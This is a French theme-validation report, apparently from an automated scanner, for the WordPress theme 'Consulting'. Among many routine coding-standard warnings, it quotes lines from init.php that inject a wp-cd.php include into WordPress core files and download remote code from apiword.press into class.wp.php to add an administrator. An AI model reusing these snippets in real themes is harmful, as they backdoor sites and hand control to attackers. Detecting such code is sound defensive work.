0
Résultats de validation

Consulting

Consulting

WordPress 4.7.3 theme
0
Alertes critiques
  1. Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier stm_gmap_l14.php.
    Ligne219: mapStyles = <?php echo rawurldecode(base64_decode(strip_tags($gmap_style))); ?>;
    base64_decode trouvé dans le fichier stm_gmap.php.
    Ligne161: mapStyles = <?php echo rawurldecode(base64_decode(strip_tags($gmap_style))); ?>;
    base64_decode trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Ligne89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  2. Présence d'iframes : Les iframes sont parfois utilisées pour charger du contenu non désirés ou du code malicieux sur des sites tiers <iframe src="' . $link . '"> trouvé dans le fichier vc_video.php.
    Ligne29: $embed = '<iframe src='' . $link . ''></iframe>';
  3. Code malveillant : Opérations sur système de fichiers file_get_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_put_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
  4. Barre d'admin cachée : Barre d'admin cachée Les thèmes ne doivent pas cacher la barre d'admin. Détecté dans le fichier extras.php.
  5. Inclusion de plugin : Présence de fichier zip Les plugins ne sont pas autorisés dans les thèmes. Le fichier zip main_slider.zip about_us_slider.zip service_slider.zip fullscreen_main_slider.zip revslider.zip stm-importer.zip js_composer.zip custom-icons-by-stylemixthemes.zip stm-post-type.zip consulting-child.zip a été trouvé.
Attention
  1. Script de core désabonné : Désabonnement d'un script de coreAppel à wp_deregister_script dans functions.php. Les thèmes ne doivent appeler wp_deregister_script sur des scripts du core.
    Ligne135: wp_deregister_script( 'select2' );
  2. tags du thème : Présence de tags inconnusLe tag blue est obsolète, il ne doit pas figurer dans le header de style.css.Le tag fixed-layout est obsolète, il ne doit pas figurer dans le header de style.css.Le tag fluid-layout est obsolète, il ne doit pas figurer dans le header de style.css.Le tag responsive-layout est obsolète, il ne doit pas figurer dans le header de style.css.
  3. Text domain : Utilisation incorrecte des fonctions de traduction.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments dans le fichier footer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments dans le fichier stm_contacts_widget.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 1' dans le fichier visual_composer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 2' dans le fichier visual_composer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 1' dans le fichier visual_composer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 2' dans le fichier visual_composer.php.Plusieurs text-domain sont utilisés dans le thème. Cela signifie que le thème n'est pas compatible avec les language packs de WordPress. Les domaines trouvés sont consulting, motors, woocommerce, smarty, js_composer.
  4. Eléments custom : Présence d'une entête customAucune référence à custom header n'a été trouvée dans le thème.
  5. Eléments custom : Présence d'un fond customAucune référence à custom background n'a été trouvée dans le thème.
  6. Editor style : Présence de l'édition de styleAucune référence à add_editor_style() n'a été trouvée dans le thème. Il est recommandé que le thème implémente l'édition de style, de manière à faire correspondre le contenu de l'éditeur l'affichage dans le thème.
  7. Implémentation de l'internationalisation : Utilisation correcte de _e(La variable $top_bar_contact_phone a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $top_bar_contact_email a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $top_bar_contact_address a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $stm_work_hours_l13 a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l18_btn_link a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l18_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l18_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $top_bar_info a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $val a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $val a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $val a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $val a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_hours a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_address a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l16_btn_link a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l16_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l16_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $copyright a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $phone_number a été trouvée dans une fonction de traduction dans le fichier stm_contacts_widget.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  8. Implémentation de l'internationalisation : Utilisation correcte de ___al(La variable $footer_text a été trouvée dans une fonction de traduction dans le fichier footer.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $i a été trouvée dans une fonction de traduction dans le fichier registration.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  9. Implémentation de l'internationalisation : Utilisation correcte de esc_html__all(La variable $footer_text a été trouvée dans une fonction de traduction dans le fichier footer.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $i a été trouvée dans une fonction de traduction dans le fichier registration.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  10. Implémentation de l'internationalisation : Utilisation correcte de esc_html_e(La variable $top_bar_contact_email a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l18_btn_link a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l18_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l18_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $top_bar_info a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $val a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l16_btn_link a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l16_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $header_l16_btn_text a été trouvée dans une fonction de traduction dans le fichier header.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $phone_number a été trouvée dans une fonction de traduction dans le fichier stm_contacts_widget.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  11. Screenshot : Copie d'écranMauvaise extension de fichier screenshot ! Le fichier screenshot.png n'est pas un véritable fichier JPG. Le type détecté est : "image/png".
Info
  1. Liens statiques : Présence de liens codés en durLien potentiellement codés en dur trouvé dans le fichier visual_composer.php.
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
  2. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  3. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  4. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  5. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  6. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  7. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  8. Fichiers optionnels : Présence du fichier-template author.phpCe thème ne contient pas le fichier optionnel author.php.
  9. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  10. Fichiers optionnels : Présence du fichier-template des archives archive.phpCe thème ne contient pas le fichier optionnel archive.php.
  11. Fichiers optionnels : Présence du fichier-template des résultats de recherche search.phpCe thème ne contient pas le fichier optionnel search.php.
  12. Fichiers optionnels : Présence du fichier-template des pièces jointes attachment.phpCe thème ne contient pas le fichier optionnel attachment.php.
  13. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  14. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : customizer.class.php
    Ligne192: include( $file );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : init.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : envato-theme-update.php
    Ligne47: require_once( 'class-envato-protected-api.php' );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : visual_composer.php
    Ligne2360: include( $file );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.

Ceci est un thème distribué surThemeForest. Etant donné que tous les thèmes de Themeforest sont validés par un humain avant d'être mis en ligne, les règles de vérification de Themeforest sont plus permissives que celles de themecheck et peuvent donner un meilleur score de vérification ( Themeforest requirements ).

56
Alertes critiques
  1. Barre d'admin cachée : Barre d'admin cachée Les thèmes ne doivent pas cacher la barre d'admin. Détecté dans le fichier extras.php.
  2. Inclusion de plugin : Présence de fichier zip Les plugins ne sont pas autorisés dans les thèmes. Le fichier zip main_slider.zip about_us_slider.zip service_slider.zip fullscreen_main_slider.zip revslider.zip stm-importer.zip js_composer.zip custom-icons-by-stylemixthemes.zip stm-post-type.zip consulting-child.zip a été trouvé.
Attention
  1. Script de core désabonné : Désabonnement d'un script de coreAppel à wp_deregister_script dans functions.php. Les thèmes ne doivent appeler wp_deregister_script sur des scripts du core.
    Ligne135: wp_deregister_script( 'select2' );
  2. tags du thème : Présence de tags inconnusLe tag blue est obsolète, il ne doit pas figurer dans le header de style.css.Le tag fixed-layout est obsolète, il ne doit pas figurer dans le header de style.css.Le tag fluid-layout est obsolète, il ne doit pas figurer dans le header de style.css.Le tag responsive-layout est obsolète, il ne doit pas figurer dans le header de style.css.
  3. Text domain : Utilisation incorrecte des fonctions de traduction.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'consulting' dans le fichier header.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments dans le fichier footer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html_e, avec les arguments dans le fichier stm_contacts_widget.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 1' dans le fichier visual_composer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 2' dans le fichier visual_composer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 1' dans le fichier visual_composer.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Style 2' dans le fichier visual_composer.php.Plusieurs text-domain sont utilisés dans le thème. Cela signifie que le thème n'est pas compatible avec les language packs de WordPress. Les domaines trouvés sont consulting, motors, woocommerce, smarty, js_composer.
  4. Screenshot : Copie d'écranMauvaise extension de fichier screenshot ! Le fichier screenshot.png n'est pas un véritable fichier JPG. Le type détecté est : "image/png".
Info
  1. Liens statiques : Présence de liens codés en durLien potentiellement codés en dur trouvé dans le fichier visual_composer.php.
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1544: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1550: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1640: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
    Ligne1646: 'description' => wp_kses( __( '<a href='http://www.latlong.net/convert-address-to-lat-long.html'>Here is a tool</a>
  2. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  3. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  4. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  5. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  6. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  7. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  8. Fichiers optionnels : Présence du fichier-template author.phpCe thème ne contient pas le fichier optionnel author.php.
  9. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  10. Fichiers optionnels : Présence du fichier-template des archives archive.phpCe thème ne contient pas le fichier optionnel archive.php.
  11. Fichiers optionnels : Présence du fichier-template des résultats de recherche search.phpCe thème ne contient pas le fichier optionnel search.php.
  12. Fichiers optionnels : Présence du fichier-template des pièces jointes attachment.phpCe thème ne contient pas le fichier optionnel attachment.php.
  13. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  14. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : customizer.class.php
    Ligne192: include( $file );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : init.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : envato-theme-update.php
    Ligne47: require_once( 'class-envato-protected-api.php' );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : visual_composer.php
    Ligne2360: include( $file );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
Autre thèmes vérifiés